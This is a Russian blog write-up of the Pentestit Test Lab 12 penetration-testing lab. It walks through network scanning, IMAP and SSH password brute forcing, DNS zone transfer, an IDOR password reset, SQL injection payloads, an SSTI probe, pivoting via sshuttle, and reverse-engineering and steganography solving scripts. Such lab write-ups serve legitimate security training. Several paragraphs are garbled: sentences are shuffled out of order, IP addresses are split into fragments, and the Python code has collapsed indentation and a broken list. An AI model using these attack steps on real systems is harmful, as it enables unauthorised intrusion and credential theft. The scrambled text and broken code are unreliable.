Хабрахабр

[Из песочницы] Пентест-лаборатория «Pentestit Test lab 12» — полное прохождение

image

Каждый год компания Pentestit запускает новую лабораторию для тестирования на проникновение «Test Lab», и данная статья будет посвящена прохождению 12-ой лаборатории, получившей название «z 9r347 39u411z3r» или если раскодировать — «The great equalizer».

Disclaimer

Вся информация представлена исключительно в образовательных целях. Данная статья не носит рекомендательный характер, а лишь описывает шаги, которые я предпринял для прохождения лаборатории. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Подключение к лаборатории

Подключение к лаборатории происходит через VPN-соединение (так как я проходил лабораторию на машине под управлением ОС Linux, то все действия будут описаны именно для этой платформы). Для того чтобы попасть в частную сеть, необходимо выполнить следующие шаги:

  1. Зарегистрироваться здесь.
  2. Сохранить конфигурационный файлы отсюда.
  3. Зайти в настройки сети и выбрать «добавить VPN».
  4. Импортировать из файла (указываем скачанный файл с конфигурациями).
  5. Указать логин и пароль для подключения (даны на вкладке «how to connect»).
  6. Подключаемся к VPN и пингуем шлюз 192.168.101.1. Если пинг проходит, то вы успешно подключились к лаборатории.

Поиск цели

Нам доступна сеть 192.168.101.X с маской 255.255.255.0. Первым делом необходимо найти «живые хосты» в сети. Сделать это легко можно с помощью утилиты nmap:

nmap -sn 192.168.101.0/24

Используемые параметры nmap

-sn – определить «живые хосты»
ip/mask – адрес сети / маска

image
Так мы находим три хоста, один из которых мы уже знаем (шлюз):

  1. 192.168.101.1
  2. 192.168.101.12
  3. 192.168.101.13

Вторым этапом является сканирование обнаруженных хостов для поиска открытых и закрытых портов.

nmap -sV -Pn 192.168.101.12-13 -p-

Используемые параметры nmap

-sV – сканировать с определением версий ПО
-Pn – запретить пинг при сканировании
-p- – сканировать весь диапазон портов

image

168. Из отчетов видно, что недоступен 192. 13, поэтому начинаем с 192. 101. 101. 168. На 80 порту крутится web-сервер. 12. Проверку осуществляем с помощью браузера и утилиты curl. Но при попытке зайти на него, возникает редирект на site.test.lab, который нам неизвестен (DNS не настроен на данный редирект).

curl http://192.168.101.12:80/
curl http://site.test.lab/

image

Теперь, мы спокойно заходим на сайт. Сделаем запись в файле /etc/hosts для site.test.lab.

image

Самым важным является движок сайта (CMS — система управления контентом). Первым делом нужно собрать информацию о сайте. Для этого используем утилиту wig.

wig -u http://site.test.lab/

По анализу получаем отчет – используется WordPress. Разберем вывод wig:

  1. IP и title записи.
  2. Название, версии и тип ПО.
  3. Важные страницы.
  4. Утилиты, которыми можно воспользоваться.
  5. Возможные уязвимости с ссылками на CVE.

image

image

Для сканирования CMS WordPress и, что важнее, установленных плагинов (именно они в большинстве своем уязвимы), лучше всего подойдет утилита wpscan.

wpscan --url http://site.test.lab/ --enumerate p --random-user-agent

Используемые параметры wpscan

--url «URL»
--enumerate p – перечисление (брут) плагинов
--random-user-agent – менять поле user-agent

Мы получаем нужную нам информацию: версию WordPress, уязвимости и установленные плагины. Дело в том, что данные уязвимости не предоставят нам желаемый доступ. Очень полезно определить используемы плагины. В данном случае это «wp-survey-and-poll». Важно понимать, что сканеры следует использовать лишь для получения информации о ПО. Так как нет единой базы узвимостей, то сканер может показать не все существующие эксплоиты. В результате сканирования имеем:

  1. Версия WP: 4.9.8.
  2. Twentyseventeen: yes, v. 1.9
  3. Plugins: wp-survey-and-poll v. 1.5.7

Вывод WPScan

Утилита searchsploit предназначена для удобного поиска в самой большой базе эксплойтов exploit-db, которая скачивается и сохраняется на ПК. Для версии 4.9.8 уязвимости в базе не обнаружено. Если проверим плагин, то обнаружим две уязвимости.

searchsploit "WordPress Survey Poll"

image

Это обычная Bind SQL-инъекция в сookie. Узнаем больше про эти уязвимости. Техника очень проста: (любое выражение) OR 1=2 вернет ложь, тогда СУБД вместо решения на наш ответ выведет на экран вторую часть UNION объединенного запроса. Нам нужно ответить на вопрос и подставить в куки свой запрос. Но эксплуатация из данного сегмента сети была невозможна, как стало позже известно, потому что блокирует WAF. Это все столбцы, один из которых (No 10) будет отображен на странице.

image

MAIL token

После неудачи на сайте необходимо найти другие точки входа. На сайте можно было найти логин info@test.lab, который мы будем использовать для подбора аутентификационной информации. Пройдемся по другим портам. На 8080 крутится web, но используется CSRF-токен. На 25 smtp, пароль к которому подобрать не вышло. У нас остается только порт 143 — это служба IMAP. Для брута я использовал инструмент hydra. Как оказалось, пароль был очень простой.

hydra -l info@test.lab -P '/root/rockyou.txt' imap://192.168.101.12

image

168. Так как мы нашли логин и пароль к почте, то авторизуемся на 192. 12:8080.Теперь нужно как следует проанализировать всю почту. 101. Вот что удалось найти: Причем необходимо собирать всю информацию, так как она может пригодиться позже.

  1. Во входящих: VPN-конфиги.
  2. В исходящих: Токен для задания MAIL.
  3. Имя пользователя sviridov@test.lab

image

VPN over VPN

Нам нужно расширяться в глубь сети компании. У нас есть VPN-конфиг, но отключиться от основного мы не можем. Данная техника называется VPN over VPN – когда мы подключаем VPN внутри VPN внутри VPN и т. д. Для VPN необходимы логин и пароль. Мы знаем только 2-х пользователей (info и sviridov) и пароль одного из них. Пробуем подключиться по известному логину и паролю, если не получится, то будем брутить. Для подключения выполним следующие шаги:

  1. Создаем файл userVPN.txt, где первая строка это логин, а вторая – пароль.
  2. Дописываем путь к этому файлу в VPN-конфиг в графе auth-user-pass
  3. Создаешь bash скрипт OverVPN.sh со следующим содержимым: openvpn --config путь_до_фала_конфигураций &
  4. Назначаем ему права: chmod 770 ./OverVPN.sh
  5. Запускаем: ./OverVPN.sh

image

16. Нам повезло, пользователь info@test.lab успешно авторизован, и нам говорят, что доступна новая сеть 172. 0/16. 0.

image

Первым делом необходимо найти «живые хосты» в сети, как это делали в прошлый раз:

nmap -sn 172.16.0.0/16

Так мы находим четыре хоста.

image

На 172. Просканируем каждый хост. 0. 16. Смею предположить, что это наш давно известный 192. 1 ничего не обнаружено. 101. 168. Именно через него мы и связаны с этой сетью. 13 в другой сети. 16. На 172. 10 доступен только Web-сервер на 80 порту. 0. 16. На 172. 17 видим целый «полигон» для тестирования. 0. 16. На 172. 2 ничего. 1. Скорее всего это еще один VPN сервис.

Результаты сканирования nmap

DNS token

Так как следующий в списке токенов – DNS, то начнем анализировать DNS службу на 172.16.0.17 порт 53. Главная уязвимость, это получение DNS записей — трансфер зоны DNS (так называем AXFR запрос). Выполним его с помощью утилит nslookup и dig.

Первой узнаем зоны и имена серверов, отвечающих за эти зоны.

nslookup
> set type=ANY
> set port=53
> SERVER 172.16.0.17
> test.lab

Второй выполним трансфер.

dig @172.16.0.17 ns1.test.lab axfr

image

image

Но он знает об остальных DNS в сети. Этот DNS-сервер не отвечает. Получим остальные DNS в сети, и добавим их в файл /etc/hosts. Утилита dnsrecon позволяет проделать абсолютные любые операции с dns.

dnsrecon -d test.lab -n 172.16.0.17 -t brt

Параметры dnsrecon

-d «домен»
-n «сервер»
-t brt – техника, в данном случае брутфорс.

При сканировании хоста 172.16.0.17 получим токен.

dnsrecon -d test.lab -n 172.16.0.17 -a

Результат dnsrecon

Helpdesk token

Следующее по списку задание: helpdesk. Мы нашли и добавили схожий домен. Причем это единственный сервис, который работает на 172.16.0.10. Там простая форма авторизации, никаких CMS не используется. Как всегда, пробуем войти под известными пользователями. И спокойно заходим под пользователем info@test.lab. Видим форму запросов, после запроса token, ничего не получаем. Видимо у нас его нет, но, как это бывает в подобных заданиях, он доступен другому пользователю. Немного просмотрев страницу, находим возможность сменить пароль.

image

Глянем исходный код страницы смены пароля. Просканировав различными сканерами формы поиска и смены пароля, ничего не находим. То есть это не CSRF-токен. Если его обновить секолько раз, то можно заметить, что скрытое поле с CSRF-токеном не изменяется. Это base64, декодируем и получаем число.

image

image

План следующий: меняем пароли на всех id, а на тех id, на которых получен успешный результат, по нашему паролю подбираем логин. Так как не отправляются никакие cookie, то очевидно, что это id пользователя.

Реализация с помощью Burp Suite

Всего два id ответили успешно на запрос о смене пароля. Теперь осталось подобрать логин. Root и admin результата не дали, а вот sviridov@test.lab дает нам токен.

AD token

Перед тем, как идти по пути VPN, посмотрим сервисы на 172.16.0.17. Копаем SAMBA workgroup TEST (из анализа nmap). Первым делом нужно узнать пользователей в домене:

enum4linux -U 172.16.0.17

Enum4linux определяет домены, пользователей в доменах, их rid и другую информацию. Среди пользователей забираем и токен. Кстати, все логины лучше сохранить.

image

USERS token

Из helpdesk задания узнали, что пользователю sviridov выдали доступ к сети, т. е. vpn конфиг. Пароль берем также из helpdesk. Пробуем подключиться к 192.168.101.13 по имеющемуся конфигу, но заменим логин и пароль пользователя в userVPN.txt.

image

Тогда пробуем подключится к 192. Ничего не получается. 101. 168. Мы подключены, и нам доступны сети 192. 12. 0. 168. 16. 0/24 и 172. 0/16. 0.

image

Нам доступна две сеть 172. Теперь снова необходимо проводить разведку сети. 0. 16. 255. 0 с маской 255. 0, где мы находим восемь хостов, и сеть 192. 0. 0. 168. Видимо на всех хостах активирован брэндмауер. 0/24, которая не сканируется. Замечаем, что в сети есть хосты, у которых открыт 22 порт: Сканируем с опцией -Pn, и в отчете получаем абсолютно все хосты и везде фильтруются порты.

  • 192.168.0.10
  • 192.168.0.15
  • 192.168.0.30
  • 192.168.0.100
  • 192.168.0.205
  • 192.168.0.240

Результат сканирования nmap

Так как единственное, что есть в сети 192.168.0.0/24 – шесть хостов с открытыми ssh портами, то пробрутим их все на возможность подключения под одним из известных нам пользователей.

image

Будем использовать модуль auxiliary/scanner/ssh/ssh_login. Так как хостов шесть, то автоматизируем поиск с помощью утилиты metasploit framework.

> use auxiliary/scanner/ssh/ssh_login
> set RHOSTS 192.168.0.10 192.168.0.15 192.168.0.30 192.168.0.100 192.168.0.205 192.168.0.240
> set USERPASS_FILE '/root/CTF/PT12/userspass.txt'
> exploit

image

После долгого блуждания на 192. Заходим на все хосты под обоими пользователями и ищем информацию. 0. 168. Домашняя директория пользователя доступна для просмотра абсолютно всем. 100 находим ошибку в правах доступа. Но его автор – sviridov. В ней находим токен. Логинимся под Свридовым и сдаем токен.

image

Ip route других сетей не имел. Больше ничего интересного найдено не было. В /tmp/ много непонятного: В cron стояла только чистилка.

  • 1.sh — ничего не давал.
  • Client.jar не запускается, так как нет JVM. Странно зачем он вообще нужен.
  • Переименновай в DAGESTAN_SILA nmap.
  • Два чекера на повышение привелений.
  • И куча разного мусора.

VPN token

В сети 172.16.0.0/16 на всех хостах открыт 80 порт. Стоит просмотреть сайты на всех хостах:

  • На 172.16.1.10 находим токен!!! Подошел к заданию VPN. Видимо задание состояло в том, чтобы догадаться подключиться к 192.168.101.12 под пользователем sviridov.
  • На 172.16.1.12 форма авторизации.
  • На 172.16.1.15 basis-аутентификация.

Было очень легко, идем дальше.

SIEM token

Идем на 172.16.1.12. Читаем что такое Prewikka. Prewikka – это основной пользовательский интерфейс SIEM-системы Prelude, реализованный через Web. Доступ к интерфейсу осуществляется через Web-браузер. Аутентификация производится с помощью локальных учетных записей или через LDAP-каталог. Эксплоиты найти не удалось. Гуглим логин и пароль по умолчанию. Неудача, т. к. они указываются при установке системы. Но можно попробобать пример из документации: prelude:preludepasswd — не подошло. Попробуем пользователей, которых мы уже знаем (причем мы знаем пароли только двоих). Подошел sviridov. Важно заметить, что доступ к SIEM системе имеет только администратор. Можно утверждать, что мы определили админа.

Переведем журнал на месяц ранее и увидим залогированные данные. Наблюдаем, что выводятся данные за этот месяц.

image

Сразу отметим домены, которые добавим в /etc/hosts:

  • (admin.test.lab) 172.16.1.25
  • (vpn-admin.test.lab) 172.16.1.10
  • (repository.test.lab) 172.16.1.15
  • (site.test.lab) 172.16.0.14

image

Среди логов repository.test.lab найдем токен.

image

Так как мы нашли и добавили новую запись для site.test.lab в /etc/hosts, вернемся и проэксплуатируем уязвимость на site.

Site token

Вернемся к site.test.lab, который теперь соответствует 172.16.0.14. Посмотрим, сработает ли на него WAF. Отправляем нашу нагрузку из примера и получаем версию СУБД. Далее узнаем какая база данных используется. Если совпадет с дефолтными данными, то можно сразу получить имя и хеш пользователя, так как по дефолту таблица с пользователями: wp_users. Имя БД (wordpress) совпадает, поэтому узнаем имя пользователя и пароль. К сожалению, это ничего не дает. Пароль пробрутить тоже не вышло.

Среди них есть нужная таблица – token. Далее (технику я описывать не буду, это основы) идем по обычному в данном случае пути – получаем названия всех таблиц. После чего понимаем, что нужно получить значение name. Узнаем какие есть столбцы и типы данных.

Эксплуатация уязвимости с помощью Burp Suite

Repository token

В SIEM мы нашли логи для repository.test.lab. Попробуем авторизоваться при помощи найденных данных. Можно снова вернуться и поискать логи абсолютно на все сервисы, которые там есть.

image

Успешно!!! Переходим, пытаемся авторизоваться. Видим какие-то файлы и токен.

image

Reverse token

В репозитории кроме токена лежали еще два файла. Один из них для задания Reverse – это bin файл. Проведем базовый анализ исполняемого файла:

  • Strings – утилита, которая отобразит все строки из файла. В данном случае видим много base64 строк. Декодирование ничего не дает.
  • Ltrace – утилита, которая перехватыват вызов библиотечных функций. В данном случае никаких библиотечных функций не вызывалось.
  • Strace – утилита, которая перехватывает все сисколы (системные вызовы). Полезных нам данных мы не получили.

Результат работы данных утилит

Полезных нам данных мы не получили. Для заданий такого плана я предпочитаю использовать Angr для автоматического решения (более подробно про библиотеку angr я напишу в последующих статьях). Привожу код на языке python.

import angr
import claripy
proj = angr.Project('./bin')
simgr = proj.factory.simgr()
simgr.explore(find=lambda s: b"ACCESS GRANTED!" in s.posix.dumps(1))
s = simgr.found[0]
print(s.posix.dumps(0))

Получаем токен в качестве ответа.

image

DB token

Теперь разберемся с jar-файлом. Нужно понять, что он делает. Java является декомпилируемым языком, поэтому получим исходный код. Есть много программ, которые позволяют это сделать (лучшие: JAD, JD-gui, Javasnoop, плагин Intellij Idea Decompiler, JD-plugin Eclipse). Я использую JD-gui для декомпиляции и Intellij Idea для сборки проектов. Получим исходный проект, выполнив следующие шаги:

  1. Запустим jd-gui. В Linux есть проблема с запуском, которую можно решить так – создать bash файл со следующим содержимым:
    java --add-opens java.base/jdk.internal.loader=ALL-UNNAMED --add-opens jdk.zipfs/jdk.nio.zipfs=ALL-UNNAMED -jar /usr/share/jd-gui/jd-gui.jar
  2. Загрузить client.jar и сохранить.
  3. Открыть Intellij Idea → Import Project. Указать путь к папке с файлами.
  4. Create project from existing sources.

Сохранение в JD-GUI

image

image

Разберем код приложения, чтобы представлять себе для чего оно нужно. Первым делом устанавливаются параметры подключения и SSL. Обращение происходит по адресу 172.16.0.55 на порт 5074. Далее нам выводится сообщение с просьбой ввести одну из цифр для выбора запроса. В зависимости от нее в функцию Reqvest передается определенный параметр. Функция Reqvest возвращает сформированный запрос в формате json. Отправляем запрос и получаем ответ.

Исходный код декомпилированного приложения

Есть сложность: нам не доступен хост 172.16.0.55. Но мы нашли подобное приложение на 192.168.0.240 у Свиридова. Значит маршрутизация настроена таким образом, что с его компьютера есть доступ к серверу приложения. Так как мы имеем доступ по SSH, мы можем пробросить порт на свою локаль. Для проброса порта используем утилиту sshuttle.

sshuttle -r sviridov@192.168.0.240 172.16.0.0/16

image

Как итог — получаем доступ в сеть.

image

При попытке запустить приложение через F9, получаем ошибку. Теперь протестируем приложение в режиме отладки, но чтобы что-то изменить, нужно пересобрать проект. Для ее исправления необходимо:

  1. Очистить повторения.
  2. Ошибка в json. Удалить всю папку с проета.
  3. Выбираем проект, в контекстном меню: Open Module Setting или F4
  4. Во вкладке Dependencies выбрать «+» и указать jar-файл. Так мы из готового проекта подгрузим уже собранные библиотеки, которые испортил декомпилятор.

image

Строка запроса, как мы разобрались, формируется внутри функции Reqvest. Теперь приложение успешно запускается, и мы можем приступить к поиску уязвимостей. Допишем строки, в которых будем контролировать возвращаемый параметр и отображать его в консоли. Изменим немного код, чтобы понять, как реагирует система на любой наш ввод. Как можем наблюдать, передается JSON-строка. Далее выполним четыре возможных запроса. Кстати, видимо на сервере крутятся базы данных, так как приложение возвращает нам пользователя под которым сделан запрос. И система, чем-то напоминает HelpDesk, вернет нам запросы пользователя.

Тесты

Для того, чтобы было удобней изменять и подстраивать параметры, сделаем так, чтобы функция возвращала постоянно одну и ту же строку.

image

Так как на сервере используется БД, то первым делом проверим наличие SQL-иньекции:

  1. Отправим самую безобидную нагрузку — функцию задержки. Запрос с задержкой на 10 секунд выполняется намного дольше, чем с задержкой на 0 секунд. Есть SLEEP инъекция.
  2. Проверим уязвима ли она для BLIND. Так как вывод на верное условие не изменился, то приложение уязвимо и для BLIND инъекции.
  3. Сперва нужно выяснить количество столбцов в выводе. Для этого мы строим объединенный запрос UNION. Перебираем количество столбцов пока не будет вывода. Так вывод появляется при 5 столбцах.
  4. Теперь необходимо узнать служебную информацию: СУБД (@@version) и имя БД (database()). Имя БД – чтобы знать к чему обращаться, а СУБД – каким окружение оперировать. Так узнаем, что используется MySQL, а имя БД – «reqvest».
  5. Теперь через окружение information_schema узнаем какие существуют таблицы. Нас интересует token.
  6. Узнаем какие столбцы есть в таблице token.
  7. Выводим содержимое таблицы token.

Эксплуатация"

Вот таким интересным получилось данное задание!!!

User api token

После обнаружения шести скрытых хостов в сети 192.168.0.0/24 я задумался о том, что такие могут быть и в 172.16.0.0/16. Выполним такое же сканирование по оcновным портам. Так как вывод слишком большой то будем искать по ключевому слову «open». Находим еще два хоста с открытым вебом.

image

16. Что же, раз от нас пытались скрыть 172. 20:8000, заходим на него и видим AJAX-приложение. 1. Все, что нашел dirb, и так нам доступно. Ну как всегда просканируем директории.

image

Страница login требует авторизоваться. Страница contact для нас бесполезна. Похоже это стего, поэтому пока оставим. А support содержит какой-то файл-баркод. Сохраним все, их всего 4. Кстати, если заходить на эту страницу несколько раз, то появляются разные изображения. Декодируются как «support_team».

Наблюдаем пять каталогов: contac, get_user_list, recover_password, login, support. Просморим, какие каталоги есть. Смотрим, подбираем пользователей и пароли – ничего не дает. Так если обратиться к каталогу get_user_list, нам скажут, что есть два параметра – строка login и строка password. И снова брут нигде ничего не дает. В баркодах было support_team пробуем как логин.

image

Случайно вставив кавычку, обнаружим странную реакцию.
login=support_team“&password=“ and “1=1“

И нам показывают список пользователей.

image

Найдем верную пару user:login. При попытке зайти под любым пользователем, получаем ту же ошибку. Напишем скрипт, который пройдет все пары и выберет те, которые пройдут проверку.

Код


from requests import get
list_user = [, {"login": "popov", "user": "Popov"}, {"login": "kiselev", "user": "Kiselev"}, {"login": "semenova", "user": "Semenova"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "uvarov", "user": "Uvarov"}, {"login": "blohina", "user": "Blohina"}, {"login": "frolova", "user": "Frolova"}, {"login": "volkova", "user": "Volkova"}, {"login": "morozova", "user": "Morozova"}, {"login": "fadeeva", "user": "Fadeeva"}, {"login": "gorbacheva", "user": "Gorbacheva"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "ivanov", "user": "Ivanov"}, {"login": "safonov", "user": "Safonov"}, {"login": "kalinina", "user": "Kalinina"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "shubin", "user": "Shubin"}, {"login": "lapin", "user": "Lapin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "zaharova", "user": "Zaharova"}, {"login": "kudrjashova", "user": "Kudrjashova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "prohorova", "user": "Prohorova"}, {"login": "lukin", "user": "Lukin"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "maksimov", "user": "Maksimov"}, {"login": "aleksandrova", "user": "Aleksandrova"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "ignatova", "user": "Ignatova"}, {"login": "belov", "user": "Belov"}, {"login": "fedorova", "user": "Fedorova"}, {"login": "mihajlova", "user": "Mihajlova"}, {"login": "burov", "user": "Burov"}, {"login": "rogov", "user": "Rogov"}, {"login": "kornilov", "user": "Kornilov"}, {"login": "fedotova", "user": "Fedotova"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "sobolev", "user": "Sobolev"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "sysoev", "user": "Sysoev"}, {"login": "jakovleva", "user": "Jakovleva"}, {"login": "blinova", "user": "Blinova"}, {"login": "eliseev", "user": "Eliseev"}, {"login": "avdeeva", "user": "Avdeeva"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "kazakova", "user": "Kazakova"}, {"login": "lobanov", "user": "Lobanov"}, {"login": "panova", "user": "Panova"}, {"login": "ovchinnikova", "user": "Ovchinnikova"}, {"login": "bykov", "user": "Bykov"}, {"login": "karpov", "user": "Karpov"}, {"login": "panova", "user": "Panova"}, {"login": "guschina", "user": "Guschina"}, {"login": "korolev", "user": "Korolev"}, {"login": "shilov", "user": "Shilov"}, {"login": "burov", "user": "Burov"}, {"login": "zhuravlev", "user": "Zhuravlev"}, {"login": "fomichev", "user": "Fomichev"}, {"login": "ponomareva", "user": "Ponomareva"}, {"login": "nikiforov", "user": "Nikiforov"}, {"login": "bobrova", "user": "Bobrova"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "dorofeeva", "user": "Dorofeeva"}, {"login": "silin", "user": "Silin"}, {"login": "tsvetkov", "user": "Tsvetkov"}, {"login": "antonov", "user": "Antonov"}, {"login": "belov", "user": "Belov"}, {"login": "novikova", "user": "Novikova"}, {"login": "martynov", "user": "Martynov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "egorov", "user": "Egorov"}, {"login": "kirillova", "user": "Kirillova"}, {"login": "chernova", "user": "Chernova"}, {"login": "dmitriev", "user": "Dmitriev"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "gavrilova", "user": "Gavrilova"}, {"login": "beljaeva", "user": "Beljaeva"}, {"login": "kulakova", "user": "Kulakova"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "pavlova", "user": "Pavlova"}, {"login": "zimina", "user": "Zimina"}, {"login": "sidorova", "user": "Sidorova"}, {"login": "strelkov", "user": "Strelkov"}, {"login": "guseva", "user": "Guseva"}, {"login": "kulikov", "user": "Kulikov"}, {"login": "shestakov", "user": "Shestakov"}, {"login": "ershova", "user": "Ershova"}, {"login": "davydov", "user": "Davydov"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "andreev", "user": "Andreev"}, {"login": "rjabova", "user": "Rjabova"}, {"login": "grishin", "user": "Grishin"}, {"login": "turov", "user": "Turov"}, {"login": "kopylov", "user": "Kopylov"}, {"login": "maksimova", "user": "Maksimova"}, {"login": "egorov", "user": "Egorov"}, {"login": "seliverstov", "user": "Seliverstov"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "kornilova", "user": "Kornilova"}, {"login": "romanov", "user": "Romanov"}, {"login": "beljakov", "user": "Beljakov"}, {"login": "morozov", "user": "Morozov"}, {"login": "konovalova", "user": "Konovalova"}, {"login": "kolobov", "user": "Kolobov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "seleznev", "user": "Seleznev"}, {"login": "smirnov", "user": "Smirnov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "voronova", "user": "Voronova"}, {"login": "zhdanov", "user": "Zhdanov"}, {"login": "zueva", "user": "Zueva"}, {"login": "mjasnikova", "user": "Mjasnikova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "knjazeva", "user": "Knjazeva"}, {"login": "kuznetsova", "user": "Kuznetsova"}, {"login": "komissarova", "user": "Komissarova"}, {"login": "gorbunova", "user": "Gorbunova"}, {"login": "blohina", "user": "Blohina"}, {"login": "tarasov", "user": "Tarasov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "rusakova", "user": "Rusakova"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "shilov", "user": "Shilov"}, {"login": "strelkova", "user": "Strelkova"}, {"login": "komissarov", "user": "Komissarov"}, {"login": "kirillov", "user": "Kirillov"}, {"login": "jakusheva", "user": "Jakusheva"}, {"login": "mironov", "user": "Mironov"}, {"login": "kudrjavtseva", "user": "Kudrjavtseva"}, {"login": "vlasova", "user": "Vlasova"}, {"login": "fomin", "user": "Fomin"}, {"login": "nosova", "user": "Nosova"}, {"login": "aleksandrov", "user": "Aleksandrov"}, {"login": "teterina", "user": "Teterina"}, {"login": "gromov", "user": "Gromov"}, {"login": "odintsova", "user": "Odintsova"}, {"login": "schukin", "user": "Schukin"}, {"login": "shashkov", "user": "Shashkov"}, {"login": "lobanova", "user": "Lobanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "panfilov", "user": "Panfilov"}, {"login": "loginov", "user": "Loginov"}, {"login": "kovalev", "user": "Kovalev"}, {"login": "rybakov", "user": "Rybakov"}, {"login": "konstantinova", "user": "Konstantinova"}, {"login": "bykov", "user": "Bykov"}, {"login": "lukina", "user": "Lukina"}, {"login": "vinogradov", "user": "Vinogradov"}, {"login": "antonova", "user": "Antonova"}, {"login": "nekrasov", "user": "Nekrasov"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "denisov", "user": "Denisov"}, {"login": "stepanova", "user": "Stepanova"}, {"login": "suvorova", "user": "Suvorova"}, {"login": "krjukova", "user": "Krjukova"}, {"login": "samojlova", "user": "Samojlova"}, {"login": "gromov", "user": "Gromov"}, {"login": "kazakov", "user": "Kazakov"}, {"login": "matveev", "user": "Matveev"}, {"login": "sergeeva", "user": "Sergeeva"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "sitnikova", "user": "Sitnikova"}, {"login": "grishina", "user": "Grishina"}, {"login": "blinova", "user": "Blinova"}, {"login": "doronina", "user": "Doronina"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "gromov", "user": "Gromov"}, {"login": "koshelev", "user": "Koshelev"}, {"login": "orehov", "user": "Orehov"}, {"login": "matveev", "user": "Matveev"}, {"login": "rozhkova", "user": "Rozhkova"}, {"login": "gerasimov", "user": "Gerasimov"}, {"login": "martynova", "user": "Martynova"}, {"login": "molchanova", "user": "Molchanova"}, {"login": "timofeeva", "user": "Timofeeva"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "loginova", "user": "Loginova"}, {"login": "maslova", "user": "Maslova"}, {"login": "matveev", "user": "Matveev"}, {"login": "zaharov", "user": "Zaharov"}, {"login": "nikiforova", "user": "Nikiforova"}, {"login": "galkina", "user": "Galkina"}, {"login": "vishnjakova", "user": "Vishnjakova"}, {"login": "kulakov", "user": "Kulakov"}, {"login": "medvedev", "user": "Medvedev"}, {"login": "antonova", "user": "Antonova"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "lazarev", "user": "Lazarev"}, {"login": "bobylev", "user": "Bobylev"}, {"login": "lihachev", "user": "Lihachev"}, {"login": "nikolaeva", "user": "Nikolaeva"}, {"login": "bogdanov", "user": "Bogdanov"}, {"login": "gorbachev", "user": "Gorbachev"}, {"login": "nikolaev", "user": "Nikolaev"}, {"login": "semenova", "user": "Semenova"}, {"login": "semenov", "user": "Semenov"}, {"login": "kuznetsov", "user": "Kuznetsov"}, {"login": "gromova", "user": "Gromova"}, {"login": "samsonov", "user": "Samsonov"}, {"login": "konovalov", "user": "Konovalov"}, {"login": "gusev", "user": "Gusev"}, {"login": "sitnikov", "user": "Sitnikov"}, {"login": "ignatov", "user": "Ignatov"}, {"login": "voronova", "user": "Voronova"}, {"login": "mihajlov", "user": "Mihajlov"}, {"login": "lazareva", "user": "Lazareva"}, {"login": "nazarova", "user": "Nazarova"}, {"login": "krylova", "user": "Krylova"}, {"login": "morozova", "user": "Morozova"}, {"login": "medvedeva", "user": "Medvedeva"}, {"login": "samsonova", "user": "Samsonova"}, {"login": "mamontova", "user": "Mamontova"}, {"login": "shirjaeva", "user": "Shirjaeva"}, {"login": "scherbakov", "user": "Scherbakov"}]
url = "http://172.16.1.20:8000/recover_password"
l = len(list_user)
valid=[]
for i in range(l): print(str(i)+" - " + str(l)) req = get(url, params=list_user[i]) if "use valid credentials" not in req.text: print(list_user[i]) valid.append(list_user[i])
print(valid)

Так мы находим Медведева.

image

Сдать сразу не получится, так как «+» будет распознан как пробел, а «&» как разделитель. Восстановим его пароль. Кодируем в URLencode и забираем токен.

image

Image token

Так, мы нашли картинки для стего. Давайте разбираться. Утилитой file, binwalk и hex-редактором проверяем файлы на вложения. Их нет, потому проведем анализ утилитой stegsolve. B самой большой картике находим выпадающие биты на 2-х и 1-х позициях rgb. Это LSB метод.

image

Придется разбираться более глубоко ручками. Дальше, как я не крутил в stegsolve, ничего не получил. Просматриваем картинку, и видим что пиксели принимают три значения – 0, 255 и 249. Для этого используем PIL библиотеку python для работы с изображениями. Так как 0 и 255 для баркодов – это нормальные значения, то вместо них будем записывать «0», а вместо 249 – «1». Построим бинарную карту изображения. Далее из каждой строки выписываем позицию единицы, и переводим из шестнадцатиричного вида в строку, чтобы получить токен. Дальше попробуем разбить нашу карту по шестнадцать символов и удалить из нее все строки, которые содержат только шестнадцать нулей.

Изображения

Код


from PIL import Image
import binascii
image = Image.open('./support4.png')
width, height = image.size
pix = image.load()
r=''
for i in range(height): for j in range(width): if(sum(pix[j,i])!=765 and sum(pix[j,i])!=0): r+='1' else: r+='0'
token=''
for i in range(0,len(r),16): if r[i:i+16] != '0'*16: token+=hex(r[i:i+16].find('1'))[2]
print(token)

My token

Так. В файле /etc/hosts есть еще my.test.lab, куда мы еще не ходили. Форма авторизации. У нас есть пользователи info, sviridov и medvedev. Успешно заходим под info. Есть строка поиска. На запрос токена нам выдают пять картинок с пони. Ничего нет, Просканируем. При использовании wapiti нас банят. При некоторых запросах для проверки SQL-inj и XSS также получаем бан. Отправляем простой запрос для тестирования SSTI: {{7*7}}. И код выполнился, так как в ответе мы получили 49.

image

